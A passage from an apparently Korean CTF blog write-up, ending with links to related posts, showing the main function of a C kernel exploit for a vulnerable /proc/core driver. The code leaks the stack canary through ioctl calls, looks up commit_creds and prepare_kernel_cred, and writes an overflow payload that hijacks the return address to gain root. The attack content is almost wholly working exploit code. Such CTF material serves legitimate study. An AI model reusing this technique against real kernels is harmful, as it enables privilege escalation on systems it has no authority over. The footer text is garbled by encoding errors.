    char canary[8];
    char rop[0x100];

    // init_module()
    int fd = open("/proc/core", O_RDWR); 
    if(fd < 0){
        fprintf(stderr, "[-] File open error\n");
        exit(-1);
    }
    
    printf("[+] File opened\n");    
    
    // off(global) value setting
    ioctl(fd, 0x6677889C, 0x40);

    // core_read() - save canary
    ioctl(fd, 0x6677889B, buf);
    printf("[+] canary: ");
    // copy 8byte canary
    memcpy(canary, buf, 8);
    for(int i=7; i>=0; i--)
        printf("%02x", canary[i] & 0xFF);
    printf("\n");

    // get kernel symbol of commit_creds, prepare_kernel_cred 
    commit_creds = get_symbol("commit_creds");
    
    if(commit_creds == 0){
        printf("[-] Filed to get commit_creds addr\n");
        exit(-1);
    }
    printf("[+] commit_creds: %p\n", commit_creds);

    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    if(prepare_kernel_cred == 0){
        printf("[-] Filed to get prepare_kernel_cred addr\n");
        exit(-1);
    }
    printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);


    // exploit payload setting 
    memset(rop, 0x41, 0x40); // 'A'*0x40 
    memcpy(rop+0x40, canary, 8); 
    memset(rop+0x48, 0x42, 8); // SFP
    *(void**)(rop+0x50) = &exploit; // set return address to exploit addr

    // save user register info
    save_trapframe(); 
    
    // copy payload data to name(global)
    write(fd, rop, 0x58);

    printf("[+] set name to payload\n");
    
    // core_copy_func() - overwrite core_copy_func return address 
    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));

    // exit_core()
    close(fd);
    return 0;

}
728x90
๋ฐ˜์‘ํ˜•

'SYSTEM HACKING > CTF, etc' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[DefCamp CTF 2015 Quals] Entry Language (Reverse 100)  (0) 2022.05.11
[angr] fauxware  (0) 2022.05.09
[0CTF 2018] baby kernel 2(kernel exploit, double fetch, race condition)  (0) 2021.11.11
[CISCN CTF 2017] babydriver (kernel exploit, kUAF)  (0) 2021.11.11
[BISC CTF 2020] 2048  (0) 2021.01.02

๊ด€๋ จ๊ธ€ ๋”๋ณด๊ธฐ